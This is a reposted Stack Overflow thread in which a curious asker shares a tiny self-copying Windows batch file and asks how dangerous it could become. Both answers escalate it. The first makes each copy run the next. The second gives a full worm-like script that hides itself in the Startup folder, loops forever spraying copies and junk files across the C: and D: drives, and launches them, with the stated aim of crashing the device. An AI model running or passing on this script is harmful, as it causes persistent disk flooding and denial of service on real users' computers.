'Very basic batch self-replicating code: how dangerous?
After reading a bit too much about von Neumann self-replicating machines, I decided to tinker a bit with batch, trying to make a simple file that would make a copy of itself upon running. I ended up with this:
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%E.bat
The file is saved as WEE.bat and each run of the latest iteration makes a copy with an additional E.
It is very simple to add a simple line to automaticaly run the latest iteration, and at this point I actually have no idea what happens: Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
Solution 1:[1]
I improved the script.
It works
@echo off
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%a.bat
%self%a.bat
Solution 2:[2]
@echo off
move WEE.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /y
attrib +s +h "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
:1
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
copy WEE.bat C:\%random%xd%random%lol /y
copy WEE.bat D:\%random%xd%random%lol /y
copy WEE.bat C:\lol%random%xd%random% /y
copy WEE.bat D:\lol%random%xd%random% /y
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
open C:\%random%xd%random%lol\WEE.bat
open D:\%random%xd%random%lol\WEE.bat
open C:\lol%random%xd%random%\WEE.bat
open D:\lol%random%xd%random%\WEE.bat
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
start "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
goto :1
they will replicate and open itself and each other a lot even on device startup (although there is a way to get around that). the device should crash pretty quickly.
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
Solution | Source |
---|---|
Solution 1 | zx485 |
Solution 2 | Fox GamingYT |